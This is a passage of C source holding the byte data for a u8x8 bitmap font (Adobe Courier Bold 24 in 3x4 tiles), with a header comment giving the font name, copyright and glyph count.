\"\\0\\0\\0\\0\\0\\0\\0\\7\\30\\20   \\20\\10\\377\\0\\0\\0\\0\\0\\0\\0\\10\\10\\10\\10\\10\\4\\4\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\0\\0\\0\\0\\0\\0\";\n/*\n  Fontname: -Adobe-Courier-Bold-R-Normal--34-240-100-100-M-200-ISO10646-1\n  Copyright: Copyright (c) 1984, 1987 Adobe Systems Incorporated. All Rights Reserved. Copyright (c) 1988, 1991 Digital Equipment Corporation. All Rights Reserved.\n  Glyphs: 191/873\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_courB24_3x4_f[21508] U8X8_FONT_SECTION(\"u8x8_font_courB24_3x4_f\") = \n  \" \\377\\3\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\374\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 qsq \"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\17\\37\\17\\0\\0\\0\\17\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\207\"\n  \"\\207\\377\\377\\377\\207\\207\\207\\377\\377\\377\\207\\207\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\377\\377\\377\\3\\3\\3\\377\\377\"\n  \"\\377\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360p\\70\\77\\77\\77\\70x\\360\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\17\\37\\36\\34<<\\70xx\\361\\361\\341\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\34\\30\\370\\370\\370\\70\"\n  \"\\30\\34\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\370\\34\\14\\14\\14\\34\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\301\"\n  \"\\303\\347ff\\66\\267\\333\\331\\334\\314\\316\\206\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\17\\77q`\"\n  \"``q\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\340\\300\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"\\317\\377\\377\\371\\340\\300\\200\\1\\301\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\177qppqs\\77\\36\"\n  \"\\177\\177qq\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\374\\374|\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374<\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\370\\377\\377\\77\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\77\\377\\377\"\n  \"\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\17\\16\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\34<\\374\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\77\\377\\377\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\377\\377\\77\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\200\\200\\0\\374\\374\\374\\0\\200\\200\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"A\\341\\363\\177\\77\\37\\17\\37\\77\\177\\363\\341A\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppp\"\n  \"pppp\\377\\377\\377ppppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374|<\\14\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\"\n  \"ppppppppppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60xxx\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\374\\377\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\300\\360\\374\\177\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\77\\17\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370x\\34\\34\\34\\34\\34x\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\77<ppppp\"\n  \"<\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0`\\360\\360px\\370\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppp\\177\\177\\177\"\n  \"ppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\70\\34\\34\\34\\34\\34\\70\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\200\\300\\340\\360x<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0px|~\\177wsqpp\"\n  \"pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0ppx\\70\\34\\34\\34\\34\\34<\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\34\\34\\34\\34<>\\177\\367\\343\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70xppppppp\"\n  \"x<\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\370|\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\"\n  \"\\360\\374\\277\\217\\207\\201\\200\\377\\377\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3sss\\177\"\n  \"\\177\\177ss\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\34\\34\\34\\34\\34\\34\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\37\\37\\37\\16\\16\\16\\16\\36\\36<\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<\\70xpppppp\"\n  \"x<\\77\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360x\\70<\\34\\34\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\"\n  \"\\377\\377s\\70\\30\\34\\34\\34<x\\370\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\37\\77>xpppp\"\n  \"x<\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\34\\34\\34\\34\\34\\34\\34\\374\\374\\374<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\360\\376\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0p|\\177\\37\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\70\\34\\34\\34\\34\\34\\70\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\301\"\n  \"\\347\\377~<<\\34\\34<>\\177\\367\\341\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\37\\77\\70xpppp\"\n  \"x\\70\\77\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370x<\\34\\34\\34<x\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\"\n  \"\\37\\177x\\360\\340\\340\\340p\\70\\237\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60xxpppp\\70\\70\"\n  \"\\36\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\6\\17\\17\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60xxx\\60\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\6\\17\\17\\17\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374|\\34\\14\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340\\360\\360p\\0\\0\\0\\0\\0\\0 pp\\370\"\n  \"\\370\\374\\334\\336\\217\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\17\\16\"\n  \"\\36\\34<xxp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\216\\216\\216\"\n  \"\\216\\216\\216\\216\\216\\216\\216\\216\\216\\216\\216\\216\\216\\216\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0p\\360\\360\\340\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\3\\3\\7\\7\\217\\336\\334\\374\\370\\370pp \\0\\0\\0\\0\\0\\0pxx<\\34\\36\\16\\17\\7\\7\\3\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\340\\360\\360\\70\\70\\70\\70\\70xx\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\340\\360\\360x<\\37\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 qqq \"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\70\\34\\14\\14\\14\\14\\34\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\0\\0\\360\\374\\214\\6\\6\\6\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77x\\340\\300\\201\\203\\203\\203\"\n  \"\\301\\343c\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\370\\370\\370\\70\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\360\\376\\377\\217\\201\\200\\201\\217\\377\\376\\360\\200\\0\\0\\0\\0\\0\\0\\0ppp~\\177\\177sss\\3\\3\\3\"\n  \"sss\\177\\177~ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70\\70\\70p\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\70\\70\\70\\70\\70\\70x|\\357\\317\\307\\200\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppppp\"\n  \"ppp\\70\\77\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360px\\70\\70\\70\\70\\70x\\360\\360\\370\\370\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37><xppppp\"\n  \"ppx<<\\34\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70xp\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\376\\0\\0\\0\\0\\0\\0\\0pp\\177\\177\\177pppppp\"\n  \"x\\70>\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70\\70\\70\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\70\\70\\70\\376\\376\\376\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppppp\"\n  \"ppp\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70\\70\\70\\70\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\70\\70\\70\\376\\376\\376\\0\\0\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppppp\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360p\\70\\70\\70\\70\\70\\70p\\360\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\376\\377\"\n  \"\\377\\3\\0\\0\\0\\0\\300\\300\\300\\300\\300\\303\\303\\303\\300\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37>\\70xppqq\"\n  \"qqy\\77\\77\\37\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\370\\370\\370\\70\\70\\70\\0\\70\\70\\70\\370\\370\\370\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377\\70\\70\\70\\70\\70\\70\\70\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\\177\\177\\177ppp\\0pp\"\n  \"p\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppp\\177\\177\\177p\"\n  \"pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\340\\340\"\n  \"\\340\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\77xppppx<\"\n  \"\\77\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\0\\0\\270\\370\\370\\370x\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377x\\70<~\\377\\367\\343\\301\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppp\\0\\0\"\n  \"\\1\\7\\177\\177|ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0pppp\\177\\177\\177pppp\"\n  \"ppp\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\370\\370\\370\\370\\340\\200\\0\\0\\0\\0\\0\\200\\340\\370\\370\\370\\370\\70\\70\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\1\\17\\77\\376\\370\\300\\370\\376\\77\\17\\1\\377\\377\\377\\0\\0\\0\\0\\0pp\\177\\177\\177ppp\\1\\7\\7\\7\"\n  \"\\1ppp\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\370\\370\\370\\360\\340\\200\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\1\\7\\37>\\374\\360\\340\\200\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0pp\\177\\177\\177ppp\\0\\0\\1\\7\"\n  \"\\17>\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360p\\70\\70\\70\\70\\70\\70p\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\376\\0\\0\\0\\0\\0\\0\\1\\7\\17\\37<\\70ppppp\"\n  \"p\\70<\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70\\70xp\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\340\\340\\340\\340\\340\\340px\\77\\37\\17\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppppp\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360p\\70\\70\\70\\70\\70\\70p\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\"\n  